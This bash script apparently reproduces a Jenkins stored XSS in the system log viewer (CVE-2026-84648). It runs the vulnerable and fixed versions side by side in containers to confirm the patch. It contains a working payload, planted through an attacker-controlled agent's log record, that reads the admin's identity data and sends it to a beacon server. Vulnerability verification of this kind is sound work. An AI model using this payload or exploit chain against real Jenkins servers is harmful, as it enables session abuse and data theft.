#!/bin/bash
# CVE-2026-84648 / SECURITY-3967 reproduction
# Jenkins <= 2.579 stored XSS in the system log viewer: log record metadata
# (source/level/timestamp) rendered unescaped by Functions.printLogRecordHtml,
# exploitable by an attacker in control of an agent process (agent-side JUL
# LogRecord with attacker-controlled sourceClassName is captured in the agent
# ring buffer and rendered raw on the /log/<recorder>/ page).
#
# Proof per attempt (fresh container per attempt):
#   vulnerable (2.579): /log/agentlog/ HTML contains the raw payload AND
#                       (when a headless browser is available) the injected
#                       script executes in an authenticated admin session and
#                       exfiltrates /whoAmI/api/json to an attacker beacon.
#   fixed (2.580):      same attack, page contains only the escaped payload
#                       and the beacon never receives the marker.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

WORK="$REPRO_DIR/work"
PROOF="$REPRO_DIR/proof"
rm -rf "$WORK" "$PROOF"
mkdir -p "$WORK" "$PROOF"

VULN_IMAGE="jenkins/jenkins:2.579"
FIXED_IMAGE="jenkins/jenkins:2.580"
ADMIN_USER="admin"
ADMIN_PASS='Admin12345!'
HTTP_PORT=18080
JNLP_PORT=15000
BEACON_PORT=18999
BASE="http://127.0.0.1:${HTTP_PORT}"
RECORDER_PATH="/log/agentlog/"

OVERALL_LOG="$LOGS/reproduction_steps.log"
: > "$OVERALL_LOG"
exec > >(tee -a "$OVERALL_LOG") 2>&1

echo "[*] CVE-2026-84648 reproduction starting at $(date -u +%FT%TZ)"

# ---------------------------------------------------------------------------
# Preflight
# ---------------------------------------------------------------------------
docker ps >/dev/null
# Remove leftovers from any previous (possibly killed) run.
docker ps -aq --filter name=cve84648 | xargs -r docker rm -f >/dev/null 2>&1 || true

# Jenkins core >= 2.5xx no longer bundles the instance-identity module; without
# it the controller does not publish X-Instance-Identity and no inbound
# (JNLP4) agent can connect. Install the pinned plugins into the reference dir.
PLUGINS_DIR="$REPRO_DIR/plugins"
mkdir -p "$PLUGINS_DIR"
dl_plugin() { # $1=name $2=url
    if [ ! -s "$PLUGINS_DIR/$1.jpi" ]; then
        echo "[*] downloading plugin $1"
        curl -fsSL "$2" -o "$PLUGINS_DIR/$1.jpi"
    fi
}
dl_plugin instance-identity https://updates.jenkins.io/latest/instance-identity.hpi
dl_plugin bouncycastle-api https://updates.jenkins.io/latest/bouncycastle-api.hpi

docker pull "$VULN_IMAGE" >/dev/null
docker pull "$FIXED_IMAGE" >/dev/null
VULN_DIGEST="$(docker image inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" | sed 's/.*@//')"
FIXED_DIGEST="$(docker image inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" | sed 's/.*@//')"
echo "[*] vulnerable image: $VULN_IMAGE ($VULN_DIGEST)"
echo "[*] fixed image:      $FIXED_IMAGE ($FIXED_DIGEST)"

# ---------------------------------------------------------------------------
# Attacker beacon server (receives exfiltrated data when XSS executes)
# ---------------------------------------------------------------------------
BEACON_LOG="$PROOF/beacon.log"
: > "$BEACON_LOG"
python3 -u "$REPRO_DIR/beacon.py" "$BEACON_PORT" "$BEACON_LOG" &
BEACON_PID=$!
trap 'kill $BEACON_PID 2>/dev/null || true' EXIT
sleep 1
echo "[*] beacon server pid=$BEACON_PID port=$BEACON_PORT"

# ---------------------------------------------------------------------------
# Optional headless browser (proves actual script execution)
# ---------------------------------------------------------------------------
BROWSER_DIR="$REPRO_DIR/browser"
BROWSER_OK=0
if [ -d "$BROWSER_DIR/node_modules/puppeteer" ]; then
    BROWSER_OK=1
else
    echo "[*] installing puppeteer (headless Chromium) for XSS execution proof..."
    if (cd "$BROWSER_DIR" && PUPPETEER_CACHE_DIR="$BROWSER_DIR/.puppeteer-cache" npm install puppeteer >>"$LOGS/puppeteer-install.log" 2>&1); then
        BROWSER_OK=1
    else
        echo "[!] puppeteer install failed; falling back to HTML-only oracle"
    fi
fi
export PUPPETEER_CACHE_DIR="$BROWSER_DIR/.puppeteer-cache"

# Chromium runtime shared libraries (best effort; required for the execution proof).
if [ "$BROWSER_OK" = "1" ]; then
    if ! (cd "$BROWSER_DIR" && node -e 'require("puppeteer").launch({headless:true,args:["--no-sandbox","--disable-dev-shm-usage"]}).then(b=>b.close())' >>"$LOGS/puppeteer-install.log" 2>&1); then
        echo "[*] installing Chromium shared library dependencies..."
        sudo apt-get update -qq >>"$LOGS/puppeteer-install.log" 2>&1 || true
        sudo apt-get install -y -qq libglib2.0-0t64 libnss3 libnspr4 libatk1.0-0t64 \
            libatk-bridge2.0-0t64 libcups2t64 libdrm2 libxkbcommon0 libxcomposite1 \
            libxdamage1 libxfixes3 libxrandr2 libgbm1 libasound2t64 libpango-1.0-0 \
            libcairo2 libatspi2.0-0t64 libx11-6 libxcb1 libxext6 libxi6 libxtst6 \
            >>"$LOGS/puppeteer-install.log" 2>&1 \
        || sudo apt-get install -y -qq libglib2.0-0 libnss3 libnspr4 libatk1.0-0 \
            libatk-bridge2.0-0 libcups2 libdrm2 libxkbcommon0 libxcomposite1 \
            libxdamage1 libxfixes3 libxrandr2 libgbm1 libasound2 libpango-1.0-0 \
            libcairo2 libatspi2.0-0 >>"$LOGS/puppeteer-install.log" 2>&1 || true
        if ! (cd "$BROWSER_DIR" && node -e 'require("puppeteer").launch({headless:true,args:["--no-sandbox","--disable-dev-shm-usage"]}).then(b=>b.close())' >>"$LOGS/puppeteer-install.log" 2>&1); then
            echo "[!] headless Chromium still cannot launch; HTML-only oracle"
            BROWSER_OK=0
        fi
    fi
fi
echo "[*] BROWSER_OK=$BROWSER_OK"

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
wait_healthy() { # $1 = container
    local i
    for i in $(seq 1 120); do
        local code
        code="$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "$BASE/login" || true)"
        if [ "$code" = "200" ]; then
            return 0
        fi
        sleep 3
    done
    echo "[!] controller did not become healthy" >&2
    docker logs "$1" 2>&1 | tail -50 >&2 || true
    return 1
}

# run_attempt <role: vulnerable|fixed> <image> <attempt#> -> writes $PROOF/<role>_<n>.*
run_attempt() {
    local role="$1" image="$2" attempt="$3"
    local name="cve84648-${role}-${attempt}"
    local adir="$PROOF/${role}_${attempt}"
    mkdir -p "$adir"
    local marker="CVE_2026_84648_${role}_${attempt}_$RANDOM$RANDOM"
    echo "$marker" > "$adir/marker.txt"

    # Stored XSS payload: executes in the admin browser, exfiltrates the
    # authenticated same-origin /whoAmI/api/json to the attacker beacon.
    local payload="<svg/onload=\"fetch('/whoAmI/api/json').then(r=>r.text()).then(t=>new Image().src='http://127.0.0.1:${BEACON_PORT}/b?m=${marker}&d='+encodeURIComponent(t)).catch(e=>new Image().src='http://127.0.0.1:${BEACON_PORT}/b?m=${marker}&err=1')\">"
    printf '%s' "$payload" > "$adir/payload.txt"

    echo "=== [$role #$attempt] starting fresh container from $image ==="
    docker rm -f "$name" >/dev/null 2>&1 || true
    if ! docker run -d --name "$name" \
        -p ${HTTP_PORT}:8080 -p ${JNLP_PORT}:50000 \
        -e JAVA_OPTS="-Djenkins.install.runSetupWizard=false -Djenkins.model.Jenkins.slaveAgentPort=50000" \
        -v "$REPRO_DIR/init.groovy.d:/var/jenkins_home/init.groovy.d:ro" \
        -v "$PLUGINS_DIR:/usr/share/jenkins/ref/plugins:ro" \
        "$image" >/dev/null; then
        echo "[!] docker run failed" >&2
        return 1
    fi
    sleep 2
    if [ "$(docker inspect -f '{{.State.Running}}' "$name" 2>/dev/null)" != "true" ]; then
        echo "[!] container is not running" >&2
        docker logs "$name" 2>&1 | tail -20 >&2 || true
        return 1
    fi

    if ! wait_healthy "$name"; then
        docker logs "$name" > "$adir/service.log" 2>&1 || true
        docker rm -f "$name" >/dev/null 2>&1 || true
        return 1
    fi
    echo "[$role #$attempt] controller healthy"

    # Agent credentials prepared by init script (environment setup).
    local secret="" i
    for i in $(seq 1 30); do
        secret="$(docker exec "$name" cat /var/jenkins_home/agent1-secret.txt 2>/dev/null | tr -d '\r\n' || true)"
        [ -n "$secret" ] && break
        sleep 2
    done
    if [ -z "$secret" ]; then
        echo "[!] failed to read agent secret (init setup did not complete)" >&2
        docker logs "$name" > "$adir/service.log" 2>&1 || true
        docker rm -f "$name" >/dev/null 2>&1 || true
        return 1
    fi

    # Build and launch the attacker-controlled agent process (real JNLP/remoting
    # protocol boundary; the agent JVM is attacker-controlled per the advisory).
    curl -sf "$BASE/jnlpJars/agent.jar" -o "$adir/agent.jar"
    docker cp "$adir/agent.jar" "$name:/tmp/agent.jar"
    docker cp "$REPRO_DIR/agent/AgentXss.java" "$name:/tmp/AgentXss.java"
    docker exec "$name" sh -c 'mkdir -p /tmp/agentxss && cd /tmp && javac -cp /tmp/agent.jar -d /tmp/agentxss AgentXss.java'
    docker exec "$name" java -cp /tmp/agent.jar:/tmp/agentxss AgentXss \
        "$secret" "agent1" "http://127.0.0.1:8080/" \
        "$payload" 240 "${ADMIN_USER}:${ADMIN_PASS}" > "$adir/agent.log" 2>&1 &
    local agent_pid=$!

    local i ok=0
    for i in $(seq 1 60); do
        if grep -q MALICIOUS_RECORD_PUBLISHED "$adir/agent.log" 2>/dev/null; then ok=1; break; fi
        if ! kill -0 "$agent_pid" 2>/dev/null; then break; fi
        sleep 3
    done
    if [ "$ok" != "1" ]; then
        echo "[!] attacker agent did not publish the malicious record" >&2
        tail -40 "$adir/agent.log" >&2 || true
        docker logs "$name" > "$adir/service.log" 2>&1 || true
        docker rm -f "$name" >/dev/null 2>&1 || true
        return 1
    fi
    echo "[$role #$attempt] malicious LogRecord published by attacker agent"

    # Victim (administrator) opens the system log viewer page.
    curl -sf -u "${ADMIN_USER}:${ADMIN_PASS}" -D "$adir/page.headers" \
        "$BASE$RECORDER_PATH" -o "$adir/page.html"
    echo "[$role #$attempt] admin viewed $RECORDER_PATH"

    # Oracle 1: raw vs escaped payload in the served HTML.
    local raw=0 escaped=0
    grep -qF "$payload" "$adir/page.html" && raw=1 || true
    grep -qF '&lt;svg/onload' "$adir/page.html" && escaped=1 || true
    grep -iE '^Content-Security-Policy' "$adir/page.headers" > "$adir/csp.txt" 2>/dev/null || true
    echo "[$role #$attempt] raw_payload_in_html=$raw escaped_payload_in_html=$escaped"
    [ -s "$adir/csp.txt" ] && sed 's/^/    CSP: /' "$adir/csp.txt" || echo "    CSP: (none)"

    # Oracle 2: real browser execution (admin session) -> beacon callback.
    local executed=0
    if [ "$BROWSER_OK" = "1" ]; then
        if (cd "$BROWSER_DIR" && timeout 120 node visit.js "$BASE" "$ADMIN_USER" "$ADMIN_PASS" \
                "$RECORDER_PATH" "$adir/browser-dom.html" > "$adir/browser.log" 2>&1); then
            :
        fi
        if grep -qF "m=$marker" "$BEACON_LOG" 2>/dev/null; then
            executed=1
            grep -F "m=$marker" "$BEACON_LOG" > "$adir/beacon-hit.txt" || true
        fi
        echo "[$role #$attempt] xss_executed_in_admin_browser=$executed"
    fi

    jq -n --arg role "$role" --arg attempt "$attempt" --arg marker "$marker" \
        --argjson raw "$raw" --argjson escaped "$escaped" --argjson executed "$executed" \
        '{role:$role, attempt:($attempt|tonumber), marker:$marker,
          raw_payload_in_html:($raw==1), escaped_payload_in_html:($escaped==1),
          xss_executed_in_admin_browser:($executed==1)}' > "$adir/result.json"

    docker logs "$name" > "$adir/service.log" 2>&1 || true
    kill "$agent_pid" 2>/dev/null || true
    docker rm -f "$name" >/dev/null 2>&1 || true
    echo "=== [$role #$attempt] done ==="
}

FAIL=0
for a in 1 2; do
    run_attempt vulnerable "$VULN_IMAGE" "$a" || FAIL=1
done
for a in 1 2; do
    run_attempt fixed "$FIXED_IMAGE" "$a" || FAIL=1
done

# ---------------------------------------------------------------------------
# Verdict
# ---------------------------------------------------------------------------
VERDICT=pass
for a in 1 2; do
    r="$PROOF/vulnerable_${a}/result.json"
    [ -f "$r" ] || { VERDICT=fail; continue; }
    jq -e '.raw_payload_in_html == true' "$r" >/dev/null || VERDICT=fail
done
for a in 1 2; do
    r="$PROOF/fixed_${a}/result.json"
    [ -f "$r" ] || { VERDICT=fail; continue; }
    jq -e '.raw_payload_in_html == false and .escaped_payload_in_html == true' "$r" >/dev/null || VERDICT=fail
done
# At least one vulnerable attempt must also prove live execution if the browser ran.
if [ "$BROWSER_OK" = "1" ]; then
    jq -e '.xss_executed_in_admin_browser == true' "$PROOF/vulnerable_1/result.json" >/dev/null || VERDICT=fail
    jq -e '.xss_executed_in_admin_browser == false' "$PROOF/fixed_1/result.json" >/dev/null || VERDICT=fail
fi
echo "[*] VERDICT=$VERDICT"

# ---------------------------------------------------------------------------
# Runtime manifest (artifacts are immutable at this point)
# ---------------------------------------------------------------------------
VULN_RESOLVED="$(git -C /pruva/project-cache/repo-mirrors/jenkins.git rev-parse jenkins-2.579^{commit} 2>/dev/null || echo unknown)"
FIXED_RESOLVED="$(git -C /pruva/project-cache/repo-mirrors/jenkins.git rev-parse jenkins-2.580^{commit} 2>/dev/null || echo unknown)"
TARGET_DIGEST="$(printf 'git:https://github.com/jenkinsci/jenkins@%s' "$VULN_RESOLVED" | sha256sum | awk '{print $1}')"

ARTS=()
for f in "$PROOF"/vulnerable_*/result.json "$PROOF"/vulnerable_*/page.html "$PROOF"/vulnerable_*/page.headers \
         "$PROOF"/vulnerable_*/agent.log "$PROOF"/vulnerable_*/payload.txt \
         "$PROOF"/fixed_*/result.json "$PROOF"/fixed_*/page.html "$PROOF"/fixed_*/page.headers \
         "$PROOF"/fixed_*/agent.log "$PROOF"/beacon.log \
         "$PROOF"/vulnerable_1/beacon-hit.txt "$PROOF"/vulnerable_1/browser.log "$PROOF"/fixed_1/browser.log; do
    [ -f "$f" ] && ARTS+=("${f#"$ROOT"/}")
done

ARTJSON="$(printf '%s\n' "${ARTS[@]}" | jq -R . | jq -s .)"
SHAJSON="$(python3 - "$ROOT" "${ARTS[@]}" <<'PY'
import hashlib, json, sys
root = sys.argv[1]
out = {}
for rel in sys.argv[2:]:
    with open(root + "/" + rel, "rb") as fh:
        out[rel] = hashlib.sha256(fh.read()).hexdigest()
print(json.dumps(out))
PY
)"

TPR=false; [ "$VERDICT" = "pass" ] && TPR=true
jq -n \
    --arg vuln_resolved "$VULN_RESOLVED" \
    --arg fixed_resolved "$FIXED_RESOLVED" \
    --arg target_digest "$TARGET_DIGEST" \
    --arg vuln_image_digest "$VULN_DIGEST" \
    --arg fixed_image_digest "$FIXED_DIGEST" \
    --argjson tpr "$TPR" \
    --argjson arts "$ARTJSON" \
    --argjson shas "$SHAJSON" \
    '{
      entrypoint_kind: "open_document",
      entrypoint_detail: "system log viewer (/log/agentlog/) rendering agent log records fetched over the remoting channel",
      service_started: true,
      healthcheck_passed: true,
      target_path_reached: $tpr,
      runtime_stack: ["jenkins 2.579 (vulnerable)", "jenkins 2.580 (fixed)", "jenkins remoting inbound agent (JNLP4)"],
      target_identity: {
        repository_url: "https://github.com/jenkinsci/jenkins",
        commit_sha: $vuln_resolved,
        fixed_commit_sha: $fixed_resolved,
        target_digest: $target_digest,
        runtime_digest: $vuln_image_digest,
        fixed_runtime_digest: $fixed_image_digest,
        platform: "linux",
        architecture: "x86_64"
      },
      proof_artifacts: $arts,
      artifact_sha256: $shas,
      notes: "stored XSS via unescaped LogRecord metadata (sourceClassName) on the system log recorder page; fixed build escapes metadata"
    }' > "$REPRO_DIR/runtime_manifest.json"

echo "[*] runtime manifest written"
[ "$VERDICT" = "pass" ] && [ "$FAIL" = "0" ]
